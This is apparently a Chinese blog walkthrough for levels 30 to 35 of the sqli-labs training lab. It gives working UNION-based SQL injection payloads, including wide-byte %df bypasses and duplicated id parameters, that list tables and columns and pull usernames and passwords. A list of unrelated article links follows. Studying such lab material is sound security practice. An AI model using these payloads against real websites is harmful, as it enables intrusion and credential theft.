sqlilabs第三十关到第三十五关靶场攻略

第三十关

第三十关和二十九关差不多,将单引号换成双引号

查询表名,字段名,数据

复制代码
?id=1&id=-2" union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+
复制代码
?id=1&id=-2" union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='users'--+
复制代码
?id=1&id=-2" union select 1,group_concat(password,username),3 from users--+

第三十一关

查询数据库名

查询表名

复制代码
?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+

普通的联合注入( 如果不行,可以尝试一下?id=1&id=-1") )

照正常流程走就好了

第三十二关(宽字节注入)

在1后面加%df让他成为一个字符

复制代码
?id=-1%df' union select 1,2,database()--+

后面还是联合查询一样的流程

第三十三关

跟三十二一样都是宽字节注入\

复制代码
?id=-1%df' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
复制代码
?id=-1%df' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273 --+

第三十四关

这关还是宽字节注入,可以到是POST提交

我们到bp重放器进行注入

复制代码
admin%df' union select 1,group_concat(table_name)from information_schema.tables where table_schema=database() #

继续联合注入就行

第三十五关

数字型的宽字节注入但是这关不需要%df

直接联合注入就拿下这关

复制代码
?id=-1 union select 1,2,database()--+
复制代码
?id=-1 union select 1,2,group_concat(table_name)from information_schema.tables where table_schema=database() #
复制代码
?id=-1 union select 1,2,group_concat(column_name)from information_schema.columns where table_schema=database() and table_name=0x7573657273 #
相关推荐
常利兵2 分钟前
Android 开发探秘:View.post()为何能获取View宽高
java·数据库·sql
xdpcxq102924 分钟前
Redis 故障排查 + 跨语言重构场景实测
数据库·redis·重构
LSL666_37 分钟前
IService——查询(下)
java·开发语言·数据库·mybatisplus·iservice
磊 子38 分钟前
mysql数据库2
数据库
2301_818419011 小时前
使用PyTorch构建你的第一个神经网络
jvm·数据库·python
jinanwuhuaguo1 小时前
OpenClaw v2026.3.23 深度技术分析报告:平台地基的加固与成熟度宣言
运维·数据库·人工智能·openclaw
2301_793804691 小时前
Python异步编程入门:Asyncio库的使用
jvm·数据库·python
2301_810160951 小时前
NumPy入门:高性能科学计算的基础
jvm·数据库·python
add45a1 小时前
超越Python:下一步该学什么编程语言?
jvm·数据库·python
孤影过客2 小时前
Flutter优雅构建:从零打造开发级工作流
arm开发·数据库·flutter